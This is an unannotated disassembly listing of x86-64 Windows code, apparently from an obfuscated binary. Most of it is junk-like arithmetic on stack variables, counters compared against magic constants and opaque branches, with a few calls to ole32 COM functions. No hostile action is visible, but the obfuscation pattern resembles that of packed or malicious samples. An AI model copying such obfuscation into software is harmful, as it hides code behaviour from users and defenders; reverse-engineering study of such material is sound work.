mov rax, qword [rsp + 0x32a8]
movzx ecx, al
mov rax, qword [rsp + 0x3420]
shl rax, cl
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33c0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
sar eax, cl
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3318]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3418]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3448]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1b0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movsx eax, word [rsp + 0x7a4]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xca], al
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1a84]
shr eax, cl
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x33c8]
mov rcx, qword [rsp + 0x3370]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1a98]
mov ecx, dword [rsp + 0x1aa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b0c], eax
mov rax, qword [rsp + 0x3418]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7ac], ax
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7a4]
add eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov rax, qword [rsp + 0x32a8]
mov rcx, qword [rsp + 0x3420]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1858]
shr eax, cl
mov dword [section..data], eax
jmp 0x140007a66
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov qword [rsp + 0x3490], rax
mov eax, dword [rsp + 0x1858]
mov rcx, qword [rsp + 0x32f8]
mov qword [rsp + 0x3498], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3498]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1a84]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x1400d8340
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0x1b68], al
cmp byte [rsp + 0x1b68], 0
je 0x140008042
jmp 0x1400d81b9
movzx eax, word [rsp + 0x7ac]
movzx ecx, word [rsp + 0x7b0]
shl eax, cl
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3440]
mov eax, dword [rax]
mov ecx, dword [0x1400f3f10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
mov eax, dword [rsp + 0x1858]
mov ecx, dword [rsp + 0x1a84]
add ecx, eax
mov eax, ecx
mov dword [0x1400f3004], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x3370]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3490]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3430]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1b04]
add eax, 0x5f
mov dword [rsp + 0x1b04], eax
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x3400]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x32a8]
mov rcx, qword [rsp + 0x3448]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3420], rax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1a98]
shl eax, cl
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
cmp dword [rsp + 0x1b04], 0x7f8f
jne 0x140008042
movzx eax, byte [0x1400f3008]
mov byte [0x1400f3f16], al
mov eax, dword [rsp + 0x1a84]
mov rcx, qword [rsp + 0x32e0]
mov qword [rsp + 0x34a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x34a0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3318]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
movzx eax, byte [rsp + 0xc9]
movzx ecx, byte [str._tt_6_]
sub eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [0x1400f3f14]
and eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x33c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3378]
mov ecx, dword [rsp + 0x1a98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x3300]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x32d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
mov rax, qword [rsp + 0x3490]
mov rcx, qword [rsp + 0x3290]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x7ac]
movzx ecx, word [rsp + 0x7a8]
sar eax, cl
mov word [rsp + 0x770], ax
movzx eax, word [rsp + 0x7a8]
movzx ecx, word [rsp + 0x770]
and eax, ecx
mov word [rsp + 0x7ac], ax
mov rax, qword [rsp + 0x32e0]
mov rcx, qword [rsp + 0x33c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x7a4]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400f3f14], ax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov rcx, qword [0x1400f3010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x32a8], rax
mov eax, dword [rsp + 0x1b0c]
mov ecx, dword [rsp + 0x1aa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
and eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3418]
mov rcx, qword [rsp + 0x3490]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
add eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x3420]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x32d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3490], rax
mov eax, dword [rsp + 0x1aa8]
movzx ecx, al
mov eax, dword [0x1400f3f10]
sar eax, cl
mov rcx, qword [rsp + 0x3440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32f8]
mov ecx, dword [rsp + 0x1858]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3400]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcb], al
movsx eax, word [rsp + 0x7a4]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1b2c]
sub eax, 0x4e
mov dword [rsp + 0x1b2c], eax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b0c]
and ecx, eax
mov eax, ecx
mov dword [0x1400f3f10], eax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3480]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3420], rax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x3448]
movzx ecx, al
mov rax, qword [rsp + 0x3420]
shl rax, cl
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
cmp dword [rsp + 0x1b2c], 0xbb72
jae 0x14000823b
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [0x1400f3f14]
sar eax, cl
mov word [rsp + 0x778], ax
movzx eax, word [rsp + 0x7ac]
movzx ecx, word [rsp + 0x770]
or eax, ecx
movzx ecx, word [rsp + 0x7b0]
mov rdx, qword [rsp + 0x3330]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jg 0x1400d8099
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1858], eax
mov eax, dword [rsp + 0x1b48]
add eax, 0xfb
mov dword [rsp + 0x1b48], eax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x778]
xor eax, ecx
mov word [rsp + 0x7a4], ax
movzx eax, word [rsp + 0x7b0]
movzx ecx, word [rsp + 0x7a8]
sar eax, cl
mov word [rsp + 0x770], ax
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [0x1400f3f14]
or eax, ecx
mov word [rsp + 0x778], ax
movzx eax, byte [rsp + 0xcb]
movzx ecx, byte [rsp + 0xca]
shl eax, cl
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x3440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3418]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x33c8]
mov rcx, qword [rsp + 0x3448]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1858]
mov ecx, dword [rsp + 0x1a84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
add eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x778]
and eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3310]
mov rcx, qword [rsp + 0x3370]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3418]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3318]
shr rax, cl
mov qword [rsp + 0x3490], rax
mov rax, qword [rsp + 0x3378]
mov rcx, qword [rsp + 0x3320]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1a98], eax
cmp dword [rsp + 0x1b48], 0xb010
jb 0x1400087b3
mov eax, dword [rsp + 0x1a84]
mov dword [rsp + 0x1b6c], eax
movzx eax, word [rsp + 0x7b0]
mov word [rsp + 0x7b4], ax
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
shl eax, cl
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
mov dword [rsp + 0x1b70], eax
cmp dword [rsp + 0x1b70], 0
je 0x140008a5b
jmp 0x140008b4c
movzx eax, byte [0x1400f3f16]
mov byte [rsp + 0x1b74], al
cmp byte [rsp + 0x1b74], 0xdc
je 0x140008ac0
cmp byte [rsp + 0x1b74], 8
je 0x140008a82
jmp 0x140008b4a
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xcb]
add eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x778]
sub eax, ecx
mov word [rsp + 0x7a4], ax
jmp 0x140008b4a
lea rax, [rsp + 0x778]
mov qword [rsp + 0x34a8], rax
mov rax, qword [rsp + 0x32a8]
mov rcx, qword [rsp + 0x3420]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3448], rax
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x3440]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov dword [rsp + 0x1b78], 0x6a3d
lea rax, [rsp + 0x1a84]
mov qword [rsp + 0x34b0], rax
mov rax, qword [rsp + 0x3418]
mov rcx, qword [rsp + 0x3368]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3318], rax
jmp 0x140008b6f
mov rax, qword [rsp + 0x32e0]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x778]
mov rax, qword [rsp + 0x33c0]
mov ecx, dword [rax]
call fcn.1400d8af0
nop
cmp dword [rsp + 0x1aec], 0x9dc7
je 0x140008fca
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7a8]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x34a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x778]
sub eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7ac]
add eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
add eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3318]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3490], rax
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x34b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1b0c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3300]
mov qword [rsp + 0x34b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x34b8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x32a8], rax
movsx eax, word [rsp + 0x778]
mov rcx, qword [rsp + 0x34a8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3320]
mov ecx, dword [0x1400f3f10]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a98], eax
movzx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov rax, qword [rsp + 0x3490]
mov rcx, qword [rsp + 0x3318]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3418]
mov qword [rcx], rax
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3320]
mov ecx, dword [rsp + 0x1b0c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3418]
mov rcx, qword [rsp + 0x3490]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33c0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x32d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x33c8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov rax, qword [rsp + 0x34a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x778], ax
movsx eax, word [rsp + 0x778]
movsx ecx, word [rsp + 0x7a4]
or eax, ecx
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
xor eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1aec]
add eax, 0xf8
mov dword [rsp + 0x1aec], eax
mov eax, dword [rsp + 0x1b6c]
mov ecx, dword [rsp + 0x1a84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [0x1400f3f10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b0c], eax
mov rax, qword [rsp + 0x3480]
mov rcx, qword [rsp + 0x3448]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3420], rax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
add eax, ecx
mov word [rsp + 0x7ac], ax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3430]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xcb], al
movsx eax, word [rsp + 0x7a4]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3470]
mov word [rcx], ax
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3430]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3290]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3418]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3440]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1b0c]
sar eax, cl
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
jmp 0x140008b6f
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0x1b7c], al
cmp byte [rsp + 0x1b7c], 0xa5
je 0x140008fe8
jmp 0x140009107
lea rdx, [rsp + 0x3468]
lea rcx, [rsp + 0x146c0]
call qword [sym.imp.ole32.dll_StringFromIID]
mov dword [rsp + 0x1b18], eax
movzx eax, word [rsp + 0x7b0]
mov dword [rsp + 0x1b80], eax
cmp dword [rsp + 0x1b80], 0x589
je 0x140009037
cmp dword [rsp + 0x1b80], 0x747
je 0x1400090e3
jmp 0x140009102
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
lea rdx, [rsp + 0xcb]
lea rcx, [rsp + 0x146f0]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x1adc], eax
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x3480]
mov qword [rsp + 0x34c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x34c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3448], rax
mov eax, dword [rsp + 0x1858]
mov ecx, dword [rsp + 0x1b6c]
xor ecx, eax
mov eax, ecx
